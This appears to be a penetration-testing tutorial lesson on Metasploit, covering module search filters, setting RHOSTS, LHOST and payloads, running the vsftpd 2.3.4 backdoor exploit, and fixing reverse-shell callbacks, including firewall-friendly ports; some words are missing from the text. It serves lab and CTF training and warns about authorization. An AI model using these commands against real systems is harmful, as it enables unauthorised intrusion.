Finding and Running Exploits
Search the library, set the four options that matter, fire, and fix it when it fails.
What you will learn
- -Search for a module by service, CVE, or keyword
- -Set the target, payload, and callback options
- -Diagnose the common reasons a run comes back empty
Your scan says the target runs vsftpd 2.3.4. That version has a , and Metasploit has a module for it. The gap between "I know the version" and "I have a " is three moves: find the module, configure it, run it. The fourth move, fixing it when nothing happens, is the one that actually separates people who use msf from people who fight it.
Search like you mean it
search with a bare keyword returns noise. Filter it and you a short, ranked list you can act on. The useful filters are type:, platform:, cve:, and rank:.
$search vsftpd$search type:exploit name:samba$search cve:2021-41773$search platform:windows rank:excellent smbRead the Rank column before you touch anything. excellent and great modules rarely crash the target; low and manual ones can leave a service dead. In the results list every row has a number, so instead of typing the full path you can use 0 to load the first hit.
The four options that matter
Load the module, then run options. Most need the same handful of settings, and blanks in the Required column are what stop a run.
- RHOSTS is the target. One IP, a range, or a CIDR block.
- RPORT is the service . It defaults to the usual one, so only change it if the service is on an odd port.
- is what runs after the exploit lands. Many modules pick a sane default; run
show payloadsto see your choices. - LHOST and LPORT are your listener for a reverse connection. LHOST is almost always your VPN IP, not
eth0, so check withip afirst.
$use exploit/unix/ftp/vsftpd_234_backdoor$set RHOSTS 10.10.10.5$set LHOST tun0$check$exploitcheck is underused. When a module supports it, check tells you whether the target looks vulnerable without throwing the exploit, which saves you from crashing a box or burning your one shot on a patched service. Not every module has it; the search output's Check column tells you.
When it comes back empty
Most failed runs are configuration, not a broken exploit. Work this list in order and you'll clear the majority of them.
Wrong LHOST is the number one cause. If your listener is bound to eth0 but the target only sees you over the VPN, the reverse shell fires into a wall and you get Exploit completed, but no session was created. Fix it with set LHOST tun0.
Payload mismatch is next. A staged payload like windows/meterpreter/reverse_tcp needs a stable connection back; if the is flaky, to a stageless windows/meterpreter_reverse_tcp (note the underscore, no second slash) which ships in one shot. Set verbose true to watch the stager land.
Target already patched, wrong architecture, or a eating your LPORT round out the usual suspects. Run check to rule out patching, confirm x86 versus x64 in the payload name, and pick an LPORT like 443 or 53 that outbound firewalls tend to allow.
An exploit that fails can still crash a service and take an application down. Only run these against lab machines, CTF targets, or systems inside a signed engagement . Never test an exploit against production or third-party infrastructure you don't have written permission for.
Your exploit prints 'Exploit completed, but no session was created' and the target is confirmed vulnerable. What is the single most likely misconfiguration?
The exploit ran but the callback never reached you. Nine times out of ten LHOST is set to the wrong interface, so the reverse shell connects to an address the target cannot route to. Set it to your VPN interface (tun0) and try again.